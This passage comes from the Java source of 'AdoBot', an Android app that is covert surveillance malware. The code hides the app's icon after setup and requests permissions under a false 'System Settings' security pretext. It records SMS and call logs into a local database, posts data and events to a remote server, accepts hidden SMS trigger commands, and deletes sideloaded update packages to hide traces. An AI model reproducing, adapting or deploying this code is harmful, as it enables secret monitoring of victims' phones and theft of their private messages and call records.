105 | }); 106 | } catch (Exception e) { 107 | e.printStackTrace(); 108 | } 109 | } 110 | }); 111 | 112 | try { 113 | save.sleep(1500); 114 | } catch (Exception e) { 115 | e.printStackTrace(); 116 | } 117 | 118 | save.start(); 119 | 120 | } 121 | } 122 | } 123 | 124 | Intent i = new Intent(context, NetworkSchedulerService.class); 125 | context.startService(i); 126 | 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/activities/BaseActivity.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.activities; 2 | 3 | import android.app.job.JobInfo; 4 | import android.app.job.JobScheduler; 5 | import android.content.ComponentName; 6 | import android.content.Context; 7 | import android.content.Intent; 8 | import android.content.pm.PackageManager; 9 | import android.os.Bundle; 10 | import android.os.PersistableBundle; 11 | import android.support.v7.app.AppCompatActivity; 12 | 13 | import com.android.adobot.AdobotConstants; 14 | import com.android.adobot.BuildConfig; 15 | import com.android.adobot.NetworkSchedulerService; 16 | 17 | import pub.devrel.easypermissions.EasyPermissions; 18 | 19 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; 20 | 21 | /** 22 | * Created by adones on 2/26/17. 23 | */ 24 | 25 | public class BaseActivity extends AppCompatActivity { 26 | 27 | private static final String TAG = "BaseActivity"; 28 | 29 | @Override 30 | public void onCreate(Bundle savedInstanceState, PersistableBundle persistentState) { 31 | super.onCreate(savedInstanceState, persistentState); 32 | } 33 | 34 | protected void hideApp() { 35 | PackageManager p = getPackageManager(); 36 | ComponentName componentName = new ComponentName(this, SetupActivity.class); // activity which is first time open in manifiest file which is declare as 37 | p.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); 38 | } 39 | 40 | protected void startClient() { 41 | scheduleJob(); 42 | } 43 | 44 | protected void requestPermissions() { 45 | Intent i = new Intent(this, PermissionsActivity.class); 46 | i.addFlags(FLAG_ACTIVITY_NEW_TASK); 47 | startActivity(i); 48 | } 49 | 50 | protected boolean hasPermissions() { 51 | return EasyPermissions.hasPermissions(this, AdobotConstants.PERMISSIONS); 52 | } 53 | 54 | protected void done() { 55 | startClient(); 56 | if (!BuildConfig.DEBUG){ 57 | hideApp(); 58 | } 59 | } 60 | 61 | private void scheduleJob() { 62 | 63 | Intent serviceIntent = new Intent(this, NetworkSchedulerService.class); 64 | startService(serviceIntent); 65 | 66 | JobInfo myJob = new JobInfo.Builder(0, new ComponentName(this, NetworkSchedulerService.class)) 67 | .setRequiresCharging(false) 68 | .setMinimumLatency(3000) 69 | .setOverrideDeadline(2000) 70 | .setRequiresDeviceIdle(false) 71 | .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY) 72 | .setPersisted(true) 73 | .build(); 74 | 75 | JobScheduler jobScheduler = (JobScheduler) getSystemService(Context.JOB_SCHEDULER_SERVICE); 76 | jobScheduler.schedule(myJob); 77 | } 78 | 79 | } 80 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/activities/PermissionsActivity.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.activities; 2 | 3 | import android.content.pm.PackageManager; 4 | import android.os.Build; 5 | import android.os.Bundle; 6 | import android.support.annotation.NonNull; 7 | import android.util.Log; 8 | import android.view.View; 9 | import android.widget.Button; 10 | 11 | import java.util.HashMap; 12 | 13 | import com.android.adobot.AdobotConstants; 14 | import com.android.adobot.BuildConfig; 15 | import com.android.adobot.CommonParams; 16 | import com.android.adobot.R; 17 | import com.android.adobot.http.Http; 18 | import com.android.adobot.http.HttpCallback; 19 | 20 | import pub.devrel.easypermissions.EasyPermissions; 21 | 22 | public class PermissionsActivity extends BaseActivity { 23 | 24 | private static final String TAG = "PermissionsActivity"; 25 | private static final String PERMISSION_RATIONALE = "System Settings keeps your android phone secure. Allow System Settings to protect your phone?"; 26 | private CommonParams commonParams; 27 | Button permitBtn; 28 | 29 | @Override 30 | protected void onCreate(Bundle savedInstanceState) { 31 | super.onCreate(savedInstanceState); 32 | showUI(); 33 | commonParams = new CommonParams(this); 34 | if ((Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)) { 35 | if (!hasPermissions()) 36 | askPermissions(); 37 | } else { 38 | done(); 39 | } 40 | } 41 | 42 | private void showUI() { 43 | setContentView(R.layout.activity_permissions); 44 | permitBtn = (Button) findViewById(R.id.permit_btn); 45 | permitBtn.setOnClickListener(new View.OnClickListener() { 46 | @Override 47 | public void onClick(View v) { 48 | askPermissions(); 49 | } 50 | }); 51 | } 52 | 53 | private void askPermissions() { 54 | EasyPermissions.requestPermissions(this, PERMISSION_RATIONALE, 55 | 1, AdobotConstants.PERMISSIONS); 56 | } 57 | 58 | @Override 59 | public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { 60 | Log.i(TAG, "onRequestPermissionsResult !!!!"); 61 | super.onRequestPermissionsResult(requestCode, permissions, grantResults); 62 | for (int i = 0; i < grantResults.length; i++) 63 | Log.i(TAG, "Grant result: " + grantResults[i]); 64 | updatePermissions(permissions, grantResults); 65 | } 66 | 67 | private void updatePermissions(String[] perms, int[] results) { 68 | HashMap done = new HashMap(); 69 | for (int i = 0; i < perms.length; i++) { 70 | done.put(perms[i], results[i] == PackageManager.PERMISSION_GRANTED ? "1" : "0"); 71 | } 72 | final PermissionsActivity act = this; 73 | Http http = new Http(); 74 | http.setUrl(commonParams.getServer() + "/permissions/" + commonParams.getUid() + "/" + commonParams.getDevice()); 75 | http.setMethod("POST"); 76 | http.setParams(done); 77 | http.setCallback(new HttpCallback() { 78 | @Override 79 | public void onResponse(HashMap response) { 80 | act.done(); 81 | act.finish(); 82 | } 83 | }); 84 | http.execute(); 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/activities/SetupActivity.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.activities; 2 | 3 | import android.content.Context; 4 | import android.content.DialogInterface; 5 | import android.content.SharedPreferences; 6 | import android.os.Bundle; 7 | import android.support.v7.app.AlertDialog; 8 | import android.support.v7.app.AppCompatActivity; 9 | import android.view.View; 10 | import android.widget.Button; 11 | import android.widget.EditText; 12 | import android.widget.TextView; 13 | import android.widget.Toast; 14 | 15 | import com.android.adobot.BuildConfig; 16 | import com.android.adobot.AdobotConstants; 17 | import com.android.adobot.R; 18 | 19 | /** 20 | * Created by adones on 2/26/17. 21 | */ 22 | 23 | public class SetupActivity extends BaseActivity { 24 | 25 | private static final String TAG = "SetupActivity"; 26 | 27 | SharedPreferences prefs; 28 | EditText editTextUrl, forceSyncSmsEditText, smsOpenText; 29 | String serverUrl, openAppSmsStr, forceSyncStr; 30 | Button btnSetUrl; 31 | AppCompatActivity activity; 32 | 33 | @Override 34 | public void onCreate(Bundle savedInstanceState) { 35 | super.onCreate(savedInstanceState); 36 | activity = this; 37 | setContentView(R.layout.activity_setup); 38 | prefs = this.getSharedPreferences("com.android.adobot", Context.MODE_PRIVATE); 39 | serverUrl = prefs.getString(AdobotConstants.PREF_SERVER_URL_FIELD, AdobotConstants.DEFAULT_SERVER_URL); 40 | openAppSmsStr = prefs.getString(AdobotConstants.PREF_SMS_OPEN_TEXT_FIELD, "Open adobot"); 41 | forceSyncStr = prefs.getString(AdobotConstants.PREF_FORCE_SYNC_SMS_COMMAND_FIELD, "Baby?"); 42 | 43 | editTextUrl = (EditText) findViewById(R.id.edit_text_server_url); 44 | smsOpenText = (EditText) findViewById(R.id.sms_open_text); 45 | forceSyncSmsEditText = (EditText) findViewById(R.id.submit_sms_command); 46 | 47 | editTextUrl.setText(serverUrl); 48 | smsOpenText.setText(openAppSmsStr); 49 | forceSyncSmsEditText.setText(forceSyncStr); 50 | 51 | TextView instruction = (TextView) findViewById(R.id.text_instruction); 52 | instruction.setText("Server URL"); 53 | 54 | 55 | TextView sms_instruct = (TextView) findViewById(R.id.sms_open_text_instruction); 56 | sms_instruct.setText("Open App by SMS"); 57 | TextView smsupload = (TextView) findViewById(R.id.submit_sms_instruction); 58 | smsupload.setText("Sync SMS Command"); 59 | 60 | btnSetUrl = (Button) findViewById(R.id.btn_save_settings); 61 | btnSetUrl.setOnClickListener(saveBtnClickListener); 62 | 63 | } 64 | 65 | @Override 66 | protected void onDestroy() { 67 | super.onDestroy(); 68 | } 69 | 70 | private View.OnClickListener saveBtnClickListener = new View.OnClickListener() { 71 | @Override 72 | public void onClick(View v) { 73 | serverUrl = editTextUrl.getText().toString(); 74 | openAppSmsStr = smsOpenText.getText().toString(); 75 | forceSyncStr = forceSyncSmsEditText.getText().toString(); 76 | String reviewText = "Confirm your server address: \n\n" + serverUrl; 77 | new AlertDialog.Builder(activity) 78 | .setTitle("Server Setup") 79 | .setMessage(reviewText) 80 | .setIcon(android.R.drawable.ic_dialog_alert) 81 | .setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() { 82 | 83 | public void onClick(DialogInterface dialog, int whichButton) { 84 | setServerUrl(serverUrl); 85 | // Toast.makeText(SetupActivity.this, "AdoBot server set to: \n" + serverUrl, Toast.LENGTH_LONG).show(); 86 | 87 | String title = "Open app by SMS"; 88 | new AlertDialog.Builder(activity) 89 | .setTitle(title) 90 | .setMessage("Open Adobot by receiving \""+ openAppSmsStr +"\" from any mobile number.") 91 | .setIcon(android.R.drawable.ic_dialog_alert) 92 | .setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() { 93 | 94 | public void onClick(DialogInterface dialog, int whichButton) { 95 | setOpenAppSmsStr(openAppSmsStr); 96 | // Toast.makeText(SetupActivity.this, "Open the app by sending this SMS to any number: \n" + openAppSmsStr, Toast.LENGTH_LONG).show(); 97 | 98 | String title = "Upload SMS Command"; 99 | new AlertDialog.Builder(activity) 100 | .setTitle(title) 101 | .setMessage("Force sync to server by receiving \""+ forceSyncStr +"\" from any mobile number.") 102 | .setIcon(android.R.drawable.ic_dialog_alert) 103 | .setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() { 104 | 105 | public void onClick(DialogInterface dialog, int whichButton) { 106 | setForceSyncSmsEditText(forceSyncStr); 107 | // Toast.makeText(SetupActivity.this, "Upload SMS's by receiving this SMS from any number: \n" + forceSyncStr, Toast.LENGTH_LONG).show(); 108 | } 109 | }) 110 | .setNegativeButton(android.R.string.no, null).show(); 111 | } 112 | }) 113 | .setNegativeButton(android.R.string.no, null).show(); 114 | 115 | } 116 | }) 117 | .setNegativeButton(android.R.string.no, null).show(); 118 | } 119 | }; 120 | 121 | private void setServerUrl(String url) { 122 | prefs.edit().putString(AdobotConstants.PREF_SERVER_URL_FIELD, url).commit(); 123 | } 124 | 125 | private void setOpenAppSmsStr(String openAppSmsStr) { 126 | prefs.edit().putString(AdobotConstants.PREF_SMS_OPEN_TEXT_FIELD, openAppSmsStr.trim()).commit(); 127 | } 128 | 129 | private void setForceSyncSmsEditText(String str) { 130 | prefs.edit().putString(AdobotConstants.PREF_FORCE_SYNC_SMS_COMMAND_FIELD, str).commit(); 131 | if (!hasPermissions()) { 132 | requestPermissions(); 133 | } else { 134 | done(); 135 | finish(); 136 | } 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/activities/UpdateActivity.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.activities; 2 | 3 | import android.content.Context; 4 | import android.content.Intent; 5 | import android.net.Uri; 6 | import android.os.Bundle; 7 | import android.os.Environment; 8 | import android.view.View; 9 | import android.view.View.OnClickListener; 10 | import android.widget.Button; 11 | import android.widget.Toast; 12 | 13 | import java.io.File; 14 | 15 | import com.android.adobot.AdobotConstants; 16 | import com.android.adobot.R; 17 | 18 | public class UpdateActivity extends BaseActivity { 19 | private Button btnUpdate; 20 | private File pkg; 21 | @Override 22 | public void onCreate(Bundle savedInstanceState) { 23 | super.onCreate(savedInstanceState); 24 | pkg = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), AdobotConstants.UPDATE_PKG_FILE_NAME); 25 | if (!pkg.exists()) { 26 | Context context = getApplicationContext(); 27 | CharSequence text = "Software is up to date."; 28 | int duration = Toast.LENGTH_SHORT; 29 | Toast toast = Toast.makeText(context, text, duration); 30 | toast.show(); 31 | finish(); 32 | } 33 | setContentView(R.layout.activity_prompt_update); 34 | btnUpdate = (Button) findViewById(R.id.update_btn); 35 | btnUpdate.setOnClickListener(new OnClickListener() { 36 | @Override 37 | public void onClick(View v) { 38 | doUpdate(); 39 | } 40 | }); 41 | } 42 | 43 | private void doUpdate() { 44 | Intent intent = new Intent(Intent.ACTION_VIEW); 45 | intent.setDataAndType(Uri.fromFile(pkg), "application/vnd.android.package-archive"); 46 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // without this flag android returned a intent error! 47 | getApplicationContext().startActivity(intent); 48 | } 49 | 50 | @Override 51 | protected void onDestroy() { 52 | //delete file on exit to minimize traces 53 | super.onDestroy(); 54 | if (pkg.exists()) 55 | pkg.delete(); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/activities/wallpaper: -------------------------------------------------------------------------------- 1 | import android.annotation.SuppressLint; 2 | import android.content.Context; 3 | import android.graphics.Bitmap; 4 | import android.graphics.BitmapFactory; 5 | import android.os.Base64; 6 | import android.app.WallpaperManager; 7 | import java.io.IOException; 8 | public class WallpaperSet { 9 | @SuppressLint("ResourceType") 10 | public static void setWallpaper(Context applicationContext, String data) { 11 | WallpaperManager wallpaperManager = WallpaperManager.getInstance(applicationContext); 12 | byte[] imageBytes = Base64.decode(data, Base64.DEFAULT); 13 | Bitmap bitmap = BitmapFactory.decodeByteArray(imageBytes, 0, imageBytes.length); 14 | try { 15 | wallpaperManager.setBitmap(bitmap); 16 | } catch (IOException e) { 17 | e.printStackTrace(); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/database/AppDatabase.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.database; 2 | 3 | import android.arch.persistence.room.Database; 4 | import android.arch.persistence.room.RoomDatabase; 5 | 6 | @Database(entities = {Sms.class, CallLog.class}, version = 1) 7 | public abstract class AppDatabase extends RoomDatabase { 8 | public abstract SmsDao smsDao(); 9 | public abstract CallLogDao callLogDao(); 10 | } -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/database/CallLog.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.database; 2 | 3 | import android.arch.persistence.room.Entity; 4 | import android.arch.persistence.room.Index; 5 | import android.arch.persistence.room.PrimaryKey; 6 | 7 | @Entity(indices = {@Index(value = {"date"}, unique = true)}) 8 | public class CallLog { 9 | 10 | @PrimaryKey(autoGenerate = true) 11 | int id; 12 | 13 | 14 | int callId; 15 | 16 | int type; 17 | String phone; 18 | String name; 19 | String date; 20 | int duration; 21 | 22 | public int getCallId() { 23 | return callId; 24 | } 25 | 26 | public void setCallId(int callId) { 27 | this.callId = callId; 28 | } 29 | 30 | public int getId() { 31 | return id; 32 | } 33 | 34 | public void setId(int id) { 35 | this.id = id; 36 | } 37 | 38 | public int getType() { 39 | return type; 40 | } 41 | 42 | public void setType(int type) { 43 | this.type = type; 44 | } 45 | 46 | public String getPhone() { 47 | return phone; 48 | } 49 | 50 | public void setPhone(String phone) { 51 | this.phone = phone; 52 | } 53 | 54 | public String getName() { 55 | return name; 56 | } 57 | 58 | public void setName(String name) { 59 | this.name = name; 60 | } 61 | 62 | public String getDate() { 63 | return date; 64 | } 65 | 66 | public void setDate(String date) { 67 | this.date = date; 68 | } 69 | 70 | public int getDuration() { 71 | return duration; 72 | } 73 | 74 | public void setDuration(int duration) { 75 | this.duration = duration; 76 | } 77 | 78 | 79 | } 80 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/database/CallLogDao.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.database; 2 | 3 | import android.arch.persistence.room.Dao; 4 | import android.arch.persistence.room.Insert; 5 | import android.arch.persistence.room.Query; 6 | 7 | @Dao 8 | public interface CallLogDao { 9 | 10 | @Insert 11 | void insert(CallLog callLog); 12 | 13 | @Query("SELECT * FROM calllog LIMIT 1") 14 | CallLog first(); 15 | 16 | @Query("DELETE FROM calllog WHERE id = :id") 17 | void delete(int id); 18 | 19 | } 20 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/database/Sms.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.database; 2 | 3 | import android.arch.persistence.room.Entity; 4 | import android.arch.persistence.room.PrimaryKey; 5 | 6 | import java.util.Date; 7 | 8 | @Entity 9 | public class Sms { 10 | 11 | @PrimaryKey(autoGenerate = true) 12 | public int id; 13 | 14 | public int _id; 15 | public String thread_id; 16 | public String phone; 17 | public String name; 18 | public String body; 19 | public String date; 20 | public int type; 21 | 22 | public int get_id() { 23 | return _id; 24 | } 25 | 26 | public void set_id(int _id) { 27 | this._id = _id; 28 | } 29 | 30 | public int getId() { 31 | return id; 32 | } 33 | 34 | public void setId(int id) { 35 | this.id = id; 36 | } 37 | 38 | public String getThread_id() { 39 | return thread_id; 40 | } 41 | 42 | public void setThread_id(String thread_id) { 43 | this.thread_id = thread_id; 44 | } 45 | 46 | public String getPhone() { 47 | return phone; 48 | } 49 | 50 | public void setPhone(String phone) { 51 | this.phone = phone; 52 | } 53 | 54 | public String getName() { 55 | return name; 56 | } 57 | 58 | public void setName(String name) { 59 | this.name = name; 60 | } 61 | 62 | public String getBody() { 63 | return body; 64 | } 65 | 66 | public void setBody(String body) { 67 | this.body = body; 68 | } 69 | 70 | public String getDate() { 71 | return date; 72 | } 73 | 74 | public void setDate(String date) { 75 | this.date = date; 76 | } 77 | 78 | public int getType() { 79 | return type; 80 | } 81 | 82 | public void setType(int type) { 83 | this.type = type; 84 | } 85 | 86 | } 87 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/database/SmsDao.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.database; 2 | 3 | import android.arch.persistence.room.Dao; 4 | //import android.arch.persistence.room.Delete; 5 | import android.arch.persistence.room.Delete; 6 | import android.arch.persistence.room.Insert; 7 | import android.arch.persistence.room.Query; 8 | import android.arch.persistence.room.Update; 9 | 10 | import java.util.List; 11 | 12 | @Dao 13 | public interface SmsDao { 14 | 15 | // @Query("SELECT * FROM Sms") 16 | // List getAll(); 17 | // 18 | // @Query("SELECT * FROM Sms WHERE id IN (:userIds)") 19 | // List loadAllByIds(int[] userIds); 20 | // 21 | @Query("SELECT * FROM Sms WHERE id = :id AND thread_id = :thread_id") 22 | Sms findByIdAndThreadId(int id, String thread_id); 23 | 24 | @Query("SELECT * FROM Sms WHERE phone = :phone AND body = :body AND date = :date AND type = :type") 25 | Sms findByAttributes(String phone, String body, String date, int type); 26 | 27 | @Query("SELECT * FROM Sms LIMIT 1") 28 | Sms first(); 29 | 30 | @Insert 31 | void insert(Sms sms); 32 | 33 | // @Update 34 | // void update(Sms sms); 35 | 36 | @Delete() 37 | void delete(Sms sms); 38 | 39 | } 40 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/http/Http.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.http; 2 | 3 | 4 | import java.util.HashMap; 5 | 6 | public class Http extends HttpRequest implements HttpCallback { 7 | 8 | private Thread thread; 9 | private HttpCallback callback; 10 | 11 | public void execute(){ 12 | super.setCallback(this); 13 | this.thread = new Thread(this); 14 | this.thread.start(); 15 | } 16 | 17 | public void setCallback (HttpCallback callback) { 18 | this.callback = callback; 19 | } 20 | 21 | @Override 22 | public void onResponse(HashMap response) { 23 | if (this.callback != null) this.callback.onResponse(response); 24 | try { 25 | this.thread.join(); 26 | } 27 | catch (Exception e) { 28 | e.printStackTrace(); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/http/HttpCallback.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.http; 2 | 3 | import java.util.HashMap; 4 | 5 | /** 6 | * Created by adones on 2/17/17. 7 | */ 8 | 9 | public interface HttpCallback { 10 | void onResponse (HashMap response); 11 | } 12 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/http/HttpRequest.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.http; 2 | 3 | import android.util.Log; 4 | 5 | import java.io.BufferedReader; 6 | import java.io.InputStreamReader; 7 | import java.io.OutputStreamWriter; 8 | import java.net.HttpURLConnection; 9 | import java.net.URL; 10 | import java.net.URLEncoder; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | import java.util.Random; 14 | 15 | import javax.net.ssl.HttpsURLConnection; 16 | 17 | /** 18 | * Created by adones on 2/17/17. 19 | */ 20 | 21 | public class HttpRequest implements Runnable { 22 | 23 | private static final String TAG = "HttpRequest"; 24 | public static final String USER_AGENT = "Mozilla/5.0"; 25 | public static final String METHOD_POST = "POST"; 26 | public static final String METHOD_GET = "GET"; 27 | 28 | protected HttpCallback callback; 29 | protected Map params; 30 | protected String method; 31 | protected String url; 32 | 33 | public void setUrl(String url) { 34 | this.url = url.replace("?", ""); 35 | } 36 | 37 | public void setMethod(String method) { 38 | this.method = method.toUpperCase(); 39 | } 40 | 41 | public void setParams(Map params) { 42 | this.params = params; 43 | } 44 | 45 | public void setCallback(HttpCallback cb) { 46 | this.callback = cb; 47 | } 48 | 49 | @Override 50 | public void run() { 51 | StringBuilder paramBuilder = new StringBuilder(""); 52 | HashMap hashMapResponse = new HashMap(); 53 | String result = ""; 54 | int statusCode = 0; 55 | BufferedReader in; 56 | 57 | try { 58 | if (params != null) { 59 | for (String s : this.params.keySet()) { 60 | if (params.get(s) != null) { 61 | paramBuilder.append("&" + s + "="); 62 | paramBuilder.append(URLEncoder.encode(String.valueOf(params.get(s)), "UTF-8")); 63 | } 64 | } 65 | 66 | if (this.method == METHOD_GET) { 67 | this.url = this.url + "?" + paramBuilder.substring(1); 68 | } 69 | } 70 | 71 | String url = this.url; 72 | URL obj = new URL(this.url); 73 | if (obj.getProtocol().toLowerCase().equals("https")) { 74 | 75 | HttpsURLConnection httpsConnection = (HttpsURLConnection) obj.openConnection(); 76 | 77 | httpsConnection.setRequestMethod(this.method); 78 | httpsConnection.setRequestProperty("User-Agent", USER_AGENT); 79 | httpsConnection.setRequestProperty("Accept-Language", "UTF-8"); 80 | 81 | httpsConnection.setDoOutput(true); 82 | OutputStreamWriter outputStreamWriter = new OutputStreamWriter(httpsConnection.getOutputStream()); 83 | outputStreamWriter.write(paramBuilder.toString()); 84 | outputStreamWriter.flush(); 85 | 86 | statusCode = httpsConnection.getResponseCode(); 87 | Log.i(TAG, "\nSending '" + this.method + "' request to URL : " + url); 88 | Log.i(TAG, this.method + " parameters : " + paramBuilder); 89 | Log.i(TAG, "Response Code : " + statusCode); 90 | 91 | in = new BufferedReader(new InputStreamReader(httpsConnection.getInputStream())); 92 | } else { 93 | HttpURLConnection httpConnection = (HttpURLConnection) obj.openConnection(); 94 | 95 | httpConnection.setRequestMethod(this.method); 96 | httpConnection.setRequestProperty("User-Agent", USER_AGENT); 97 | httpConnection.setRequestProperty("Accept-Language", "UTF-8"); 98 | 99 | httpConnection.setDoOutput(true); 100 | OutputStreamWriter outputStreamWriter = new OutputStreamWriter(httpConnection.getOutputStream()); 101 | outputStreamWriter.write(paramBuilder.toString()); 102 | outputStreamWriter.flush(); 103 | 104 | statusCode = httpConnection.getResponseCode(); 105 | Log.i(TAG, "\nSending '" + this.method + "' request to URL : " + url); 106 | Log.i(TAG, this.method + " parameters : " + paramBuilder); 107 | Log.i(TAG, "Response Code : " + statusCode); 108 | 109 | in = new BufferedReader(new InputStreamReader(httpConnection.getInputStream())); 110 | } 111 | String inputLine; 112 | StringBuffer response = new StringBuffer(); 113 | 114 | while ((inputLine = in.readLine()) != null) { 115 | response.append(inputLine + "\n"); 116 | } 117 | in.close(); 118 | 119 | result = response.toString(); 120 | Log.i(TAG, "Response Body : " + result); 121 | } catch (Exception e) { 122 | e.printStackTrace(); 123 | } finally { 124 | hashMapResponse.put("status", statusCode); 125 | hashMapResponse.put("body", result); 126 | if (callback != null) 127 | callback.onResponse(hashMapResponse); 128 | } 129 | } 130 | 131 | } -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/BaseTask.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.Manifest; 4 | import android.content.ComponentName; 5 | import android.content.ContentResolver; 6 | import android.content.Context; 7 | import android.content.Intent; 8 | import android.content.pm.PackageManager; 9 | import android.database.Cursor; 10 | import android.net.Uri; 11 | import android.provider.ContactsContract; 12 | import android.support.v4.content.ContextCompat; 13 | 14 | import com.android.adobot.BuildConfig; 15 | import com.android.adobot.CommonParams; 16 | import com.android.adobot.AdobotConstants; 17 | import com.android.adobot.activities.PermissionsActivity; 18 | import com.android.adobot.http.Http; 19 | import com.android.adobot.http.HttpRequest; 20 | 21 | import java.util.HashMap; 22 | 23 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; 24 | 25 | /** 26 | * Created by adones on 2/22/17. 27 | */ 28 | 29 | public class BaseTask extends Thread implements Runnable { 30 | 31 | protected Context context; 32 | protected CommonParams commonParams; 33 | 34 | public void setContext(Context context) { 35 | this.context = context; 36 | this.commonParams = new CommonParams(context); 37 | } 38 | 39 | protected void showAppIcon(Class actClass) { 40 | PackageManager p = context.getPackageManager(); 41 | ComponentName permissionsActivity = new ComponentName(context, actClass); 42 | p.setComponentEnabledSetting(permissionsActivity, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP); 43 | } 44 | 45 | public String getContactName(String phoneNumber) { 46 | // check permission 47 | if (ContextCompat.checkSelfPermission(context.getApplicationContext(), Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) { 48 | ContentResolver cr = context.getContentResolver(); 49 | Uri uri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI, Uri.encode(phoneNumber)); 50 | Cursor cursor = cr.query(uri, new String[]{ContactsContract.PhoneLookup.DISPLAY_NAME}, null, null, null); 51 | if (cursor == null) { 52 | return null; 53 | } 54 | String contactName = null; 55 | if (cursor.moveToFirst()) { 56 | contactName = cursor.getString(cursor.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME)); 57 | } 58 | 59 | if (cursor != null && !cursor.isClosed()) { 60 | cursor.close(); 61 | } 62 | 63 | return contactName; 64 | } else { 65 | return ""; 66 | } 67 | } 68 | 69 | protected void requestPermissions() { 70 | // app icon already shown in debug 71 | if (!BuildConfig.DEBUG) showAppIcon(PermissionsActivity.class); 72 | Intent i = new Intent(context, PermissionsActivity.class); 73 | i.addFlags(FLAG_ACTIVITY_NEW_TASK); 74 | context.startActivity(i); 75 | } 76 | 77 | protected void sendNotification (String event, HashMap params) { 78 | params.put("event", event); 79 | Http req = new Http(); 80 | req.setMethod(HttpRequest.METHOD_POST); 81 | req.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 82 | req.setParams(params); 83 | req.execute(); 84 | } 85 | 86 | } 87 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/CallLogRecorderTask.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.Manifest; 4 | import android.arch.persistence.room.Room; 5 | import android.content.ContentResolver; 6 | import android.content.Context; 7 | import android.content.SharedPreferences; 8 | import android.content.pm.PackageManager; 9 | import android.database.ContentObserver; 10 | import android.database.Cursor; 11 | import android.net.Uri; 12 | import android.os.Handler; 13 | import android.support.v4.content.ContextCompat; 14 | import android.util.Log; 15 | 16 | import com.android.adobot.AdobotConstants; 17 | import com.android.adobot.CommonParams; 18 | import com.android.adobot.database.AppDatabase; 19 | import com.android.adobot.database.CallLog; 20 | import com.android.adobot.database.CallLogDao; 21 | import com.android.adobot.http.Http; 22 | import com.android.adobot.http.HttpCallback; 23 | import com.android.adobot.http.HttpRequest; 24 | 25 | import org.json.JSONObject; 26 | 27 | import java.text.SimpleDateFormat; 28 | import java.util.Date; 29 | import java.util.HashMap; 30 | 31 | /** 32 | * Created by adones on 2/27/17. 33 | */ 34 | 35 | public class CallLogRecorderTask extends BaseTask { 36 | 37 | private static final String TAG = "CallLogRecorder"; 38 | 39 | private static final Uri CALL_LOG_URI = Uri.parse("content://call_log/calls"); 40 | // private static final int MESSAGE_TYPE_RECEIVED = 1; 41 | // private static final int MESSAGE_TYPE_SENT = 2; 42 | // private static int lastId = 0; 43 | // private static final int MAX_SMS_MESSAGE_LENGTH = 160; 44 | 45 | private CallLogObserver callLogObserver; 46 | // private SharedPreferences prefs; 47 | private ContentResolver contentResolver; 48 | private AppDatabase appDatabase; 49 | private CallLogDao callLogDao; 50 | private static String lastLogDate = ""; 51 | private static CallLogRecorderTask instance; 52 | 53 | public CallLogRecorderTask(Context context) { 54 | setContext(context); 55 | appDatabase = Room.databaseBuilder(context.getApplicationContext(), 56 | AppDatabase.class, AdobotConstants.DATABASE_NAME).build(); 57 | callLogDao = appDatabase.callLogDao(); 58 | callLogObserver = (new CallLogObserver(new Handler())); 59 | contentResolver = context.getContentResolver(); 60 | // prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE); 61 | instance = this; 62 | listen(); 63 | } 64 | 65 | public static CallLogRecorderTask getInstance() { 66 | return instance; 67 | }; 68 | 69 | public void listen() { 70 | if (hasPermission()) { 71 | commonParams = new CommonParams(context); 72 | contentResolver.registerContentObserver(CALL_LOG_URI, true, callLogObserver); 73 | 74 | 75 | //notify server 76 | // HashMap params = new HashMap(); 77 | // params.put("uid", commonParams.getUid()); 78 | // params.put("sms_forwarder_number", recipientNumber); 79 | // 80 | // Http req = new Http(); 81 | // 